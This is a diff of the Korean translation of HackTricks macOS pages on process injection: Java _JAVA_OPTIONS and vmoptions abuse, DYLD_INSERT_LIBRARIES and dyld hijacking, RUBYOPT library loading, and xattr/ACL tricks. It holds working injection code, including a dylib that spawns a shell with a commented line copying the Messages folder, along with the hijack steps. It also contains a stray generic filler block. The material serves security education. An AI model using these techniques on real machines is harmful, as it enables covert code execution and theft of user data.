+그리고 환경 변수를 내보낸 후 다음과 같이 자바 애플리케이션을 실행합니다: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession ``` ## vmoptions 파일 -이 파일은 Java가 실행될 때 **Java 매개변수**의 지정을 지원합니다. 이전의 몇 가지 기법을 사용하여 Java 매개변수를 변경하고 **프로세스가 임의의 명령을 실행하도록** 할 수 있습니다.\ -또한, 이 파일은 `include` 디렉토리를 통해 다른 파일을 **포함**할 수도 있으므로 포함된 파일도 변경할 수 있습니다. +이 파일은 Java가 실행될 때 **Java 매개변수**의 지정을 지원합니다. 이전의 몇 가지 트릭을 사용하여 java 매개변수를 변경하고 **프로세스가 임의의 명령을 실행하도록 만들 수 있습니다**.\ +게다가, 이 파일은 `include` 디렉토리로 다른 파일을 **포함할 수** 있으므로 포함된 파일을 변경할 수도 있습니다. -더욱이, 일부 Java 앱은 **`vmoptions` 파일을 여러 개** 로드할 수 있습니다. +더욱이, 일부 Java 앱은 **하나 이상의 `vmoptions`** 파일을 **로드**합니다. -Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾는 위치를 **출력**으로 알려줍니다. 예를 들어: +Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾고 있는 **출력 위치를** 나타냅니다, 예: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -158,7 +159,7 @@ Android Studio와 같은 일부 애플리케이션은 이러한 파일을 찾는 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -그렇지 않다면 쉽게 다음과 같이 확인할 수 있습니다: +그렇지 않다면 다음과 같이 쉽게 확인할 수 있습니다: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,18 +167,19 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -흥미로운 점은 이 예시에서 Android Studio가 **`/Applications/Android Studio.app.vmoptions`** 파일을 로드하려고 한다는 것입니다. 이 파일은 **`admin` 그룹의 모든 사용자가 쓰기 권한을 가지고 있는 곳입니다.** +Note how interesting is that Android Studio in this example is trying to load the file **`/Applications/Android Studio.app.vmoptions`**, a place where any user from the **`admin` group has write access.** + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기교를 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index c92e014b6..b5b2bff0d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ # macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**telegram 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## DYLD\_INSERT\_LIBRARIES 기본 예제 -**쉘을 실행하기 위해 주입할 라이브러리**: +**쉘을 실행하기 위해 주입할 라이브러리:** ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -34,7 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -공격할 이진 파일: +공격할 바이너리: ```c // gcc hello.c -o hello #include @@ -45,13 +46,13 @@ printf("Hello, World!\n"); return 0; } ``` -삽입 (Injection): +주입: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` -## Dyld Hijacking 예제 +## Dyld Hijacking Example -대상 취약한 이진 파일은 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`입니다. +타겟 취약 바이너리는 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`입니다. {% tabs %} {% tab title="entitlements" %} @@ -87,17 +88,16 @@ current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` -{% code %} {% endcode %} {% endtab %} {% endtabs %} -이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 다음 경로에서 라이브러리를 로드하려고 시도한다는 것을 알 수 있습니다: +이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 있으며 **다음에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -그러나 첫 번째 경로는 존재하지 않습니다: +하지만 첫 번째는 존재하지 않습니다: ```bash pwd /Applications/VulnDyld.app @@ -105,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -그래, 그것을 탈취할 수 있어! 합법적인 라이브러리와 동일한 기능을 내보내며 임의의 코드를 실행하는 라이브러리를 생성하세요. 그리고 예상 버전과 함께 컴파일하는 것을 기억하세요: +그래서, 그것을 탈취하는 것이 가능합니다! **임의의 코드를 실행하고 정품 라이브러리와 동일한 기능을 재수출하는** 라이브러리를 만드세요. 그리고 예상되는 버전으로 컴파일하는 것을 잊지 마세요: {% code title="lib.m" %} ```objectivec @@ -118,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); ``` {% endcode %} -컴파일하십시오: +컴파일하세요: {% code overflow="wrap" %} ```bash @@ -127,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -라이브러리에서 생성된 재내보내기 경로는 로더에 상대적이므로, 내보낼 라이브러리에 대한 절대 경로로 변경해보겠습니다: +라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리에 대한 절대 경로로 변경합시다: {% code overflow="wrap" %} ```bash @@ -148,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -마지막으로 **해킹된 위치**에 복사하십시오: +마지막으로 **탈취된 위치**에 복사합니다: {% code overflow="wrap" %} ```bash @@ -156,7 +156,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -바이너리를 **실행**하고 **라이브러리가 로드되었는지** 확인하십시오: +그리고 **바이너리**를 실행하고 **라이브러리가 로드되었는지** 확인합니다:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -164,25 +164,26 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
 
{% hint style="info" %} -텔레그램의 카메라 권한을 악용하기 위해 이 취약점을 악용하는 방법에 대한 좋은 설명은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다. +텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다. {% endhint %} ## 더 큰 규모 -의도하지 않은 이진 파일에 라이브러리를 주입하려는 경우 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 찾을 수 있습니다 (이 경우 printf와 `/bin/bash` 실행을 제거하십시오). +예상치 못한 바이너리에 라이브러리를 주입하려고 계획하고 있다면, 프로세스 내에서 라이브러리가 로드될 때를 알아내기 위해 이벤트 메시지를 확인할 수 있습니다(이 경우 printf와 `/bin/bash` 실행을 제거하십시오). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index b8b2f4114..437640490 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,24 +1,25 @@ -# macOS Ruby 애플리케이션 인젝션 +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -이 환경 변수를 사용하면 **ruby**가 실행될 때 **새로운 매개변수를 추가**할 수 있습니다. **`-e`** 매개변수를 사용하여 실행할 루비 코드를 지정할 수는 없지만, **`-I`** 및 **`-r`** 매개변수를 사용하여 라이브러리 로드 경로에 새 폴더를 추가하고 **로드할 라이브러리를 지정**할 수 있습니다. +이 환경 변수를 사용하면 **ruby**가 실행될 때마다 **새로운 매개변수**를 **추가**할 수 있습니다. 매개변수 **`-e`**는 실행할 ruby 코드를 지정하는 데 사용할 수 없지만, 매개변수 **`-I`**와 **`-r`**를 사용하여 로드 경로에 새 폴더를 추가한 다음 **로드할 라이브러리**를 **지정**할 수 있습니다. -**`/tmp`**에 **`inject.rb`** 라이브러리를 생성하세요: +라이브러리 **`inject.rb`**를 **`/tmp`**에 생성합니다: {% code title="inject.rb" %} ```ruby @@ -26,7 +27,7 @@ puts `whoami` ``` {% endcode %} -어디에서나 다음과 같은 루비 스크립트를 생성하십시오: +어디에나 다음과 같은 루비 스크립트를 만드세요: {% code title="hello.rb" %} ```ruby @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -그런 다음 임의의 루비 스크립트를 만들고 다음과 같이 로드하십시오: +그런 다음 임의의 루비 스크립트가 이를 로드하도록 하십시오: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -재미있는 사실은, **`--disable-rubyopt`** 매개변수와 함께도 작동한다는 것입니다: +재미있는 사실, **`--disable-rubyopt`** 매개변수와 함께 작동합니다: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index 2699a737d..8a196fe5f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,27 +1,33 @@ -# macOS xattr-acls extra stuff +# macOS xattr-acls 추가 정보 + +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요. -* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.** +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
-get_acls 코드 +get_acls의 코드 ```c // gcc -o get_acls get_acls #include @@ -61,47 +67,122 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` +``` +```markdown +
+macOS 파일 시스템 트릭 -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` +macOS는 파일 시스템에 대한 여러 가지 보안 보호 기능을 제공합니다. 이 문서에서는 macOS의 xattr(확장 속성) 및 ACL(접근 제어 목록)과 같은 기능을 활용하여 보안을 강화하는 방법을 설명합니다. +## xattr + +xattr는 파일에 추가 메타데이터를 저장할 수 있는 기능입니다. 이 메타데이터는 파일의 보안 및 무결성을 강화하는 데 사용될 수 있습니다. + +## ACL + +ACL은 파일 및 디렉토리에 대한 세부적인 접근 제어를 제공합니다. 이를 통해 특정 사용자 또는 그룹에 대한 권한을 세밀하게 조정할 수 있습니다. + +## 추가 정보 + +macOS의 보안 기능을 활용하여 시스템을 강화하는 방법에 대한 더 많은 정보는 Apple의 공식 문서를 참조하십시오. + +
+``` +```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
set_xattr의 코드 +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,10 +196,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` +``` +{% endcode %} +```bash +# Check if it worked +ditto -x -k --rsrc protected.zip . +xattr -l protected +``` +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\` +
+Support HackTricks +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
